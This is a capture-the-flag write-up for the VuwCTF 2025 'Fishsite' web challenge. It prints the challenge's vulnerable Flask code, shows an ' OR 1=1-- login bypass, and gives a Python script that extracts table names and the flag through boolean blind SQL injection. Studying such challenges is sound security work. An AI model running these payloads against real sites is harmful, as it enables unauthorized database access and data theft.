Fishsite
SQL injection and blind SQLi to extract a flag.
VuwCTF 2025
Challenge: Fishsite
Category: Web
Flag: VuwCTF{h3art_0v_p3ar1}
I participated with my club team, tjcsc, in VuwCTF 2025, and we got 5th place!
Upon opening the site, you’re presented with this login page:

We are given fishsite.py:
import os
import sqlite3
import flask
app = flask.Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/')
def index():
return flask.render_template("index.html")
@app.post('/login')
def login():
username = flask.request.form.get('username')
password = flask.request.form.get('password')
db = sqlite3.connect("file:db.db?mode=ro", uri=True)
cur = db.cursor()
cur.execute("SELECT COUNT(*) FROM fish WHERE username = '" + username + "' AND password ='" + password +"';")
try:
count = cur.fetchone()[0]
if count > 0:
flask.session["username"] = username
cur.close()
db.close()
return flask.redirect('/admarine')
else:
cur.close()
db.close()
return flask.render_template("index.html", error="Incorrect password")
except TypeError:
cur.close()
db.close()
return flask.render_template("index.html", error="No user found")
@app.route('/admarine')
def admin():
if 'username' not in flask.session:
return flask.redirect('/')
return flask.render_template("admin.html")
DISALLOWED_WORDS = ["insert", "create", "alter", "drop", "delete", "backup", "transaction", "commit", "rollback", "replace", "update", "pragma", "attach", "load", "vacuum"]
@app.post('/monitor')
def monitor():
if 'username' not in flask.session:
return flask.redirect('/')
query = flask.request.form.get('query')
for word in DISALLOWED_WORDS:
if word in query.lower():
return flask.redirect('/admarine')
db = sqlite3.connect("file:db.db?mode=ro", uri=True)
cur = db.cursor()
try:
cur.execute(query)
except:
cur.close()
db.close()
return flask.render_template('/admin.html', error="Invalid query")
cur.close()
db.close()
return flask.render_template("/admin.html", error="Successful process")
if __name__ == '__main__':
app.run(host="0.0.0.0", port=9995)
Firstly, there’s a pretty obvious basic SQLi vulnerability right here:
cur.execute("SELECT COUNT(*) FROM fish WHERE username = '" + username + "' AND password ='" + password +"';")
Using quotation marks, we can escape the username field and modify the SQL query.
The condition 1=1 always evaluates to true, and we can use -- to comment out the rest of the query.
So, inputting something like ' OR 1=1-- will result in the SQL query:
SELECT COUNT(*) FROM fish where username = '' OR 1=1--" + username + "' AND password ='" + password +"';")
This query will always evaluate to true, so inputting ' OR 1=1-- gets us through the login page.
Then, we’re presented with an “administration pane:”

We can see in fishsite.py that there is a list of disallowed words that we cannot use in our SQL injection:
DISALLOWED_WORDS = ["insert", "create", "alter", "drop", "delete", "backup", "transaction", "commit", "rollback", "replace", "update", "pragma", "attach", "load", "vacuum"]
Notably, this list does not disallow “SELECT.”
Remember this input from earlier that gave us access to the administration pane?
' OR 1=1--
We can use this kind of query for binary search by just replacing 1=1 with a boolean we want to check.
In this case, we can binary search for characters in the list of tables, then the list of columns.
Recon code:
import requests
url = "https://fishsite-a32d72b4635a88d5.challenges.2025.vuwctf.com/" # replace with your instance url
def check(condition):
payload = f"' OR ({condition})--"
r = requests.post(f"{url}/login", data={"username": payload, "password": "x"}, allow_redirects=False)
return r.status_code == 302
def extract_string(query):
result = ""
for pos in range(1, 300):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if check(f"UNICODE(SUBSTR(({query}),{pos},1)) > {mid}"):
low = mid + 1
else:
high = mid - 1
char_code = low
if char_code <= 32 or char_code > 126:
break
result += chr(char_code)
print(f"{result}")
return result
tables = extract_string("SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' LIMIT 1")
print(f"\nTables: {tables}\n")
columns = extract_string(f"SELECT group_concat(name, ',') FROM pragma_table_info('{tables}')")
print(f"\nColumns in {tables}: {columns}\n")
After running this (and a lot of waiting for the searches to resolve) we get one table fish with columns id, username, password.
…No obvious flag there.
Well, since it’s a blind SQLi challenge, we can always try something obvious now that we’ve found the vulnerability:
flag = extract_string("SELECT * FROM flag LIMIT 1")
print(f"\nResult: {flag}\n")
ohwaitit’sactuallyworking I’ll be darned, it actually worked.
After lots of waiting, the flag VuwCTF{h3art_0v_p3ar1} popped up in the output! Nice!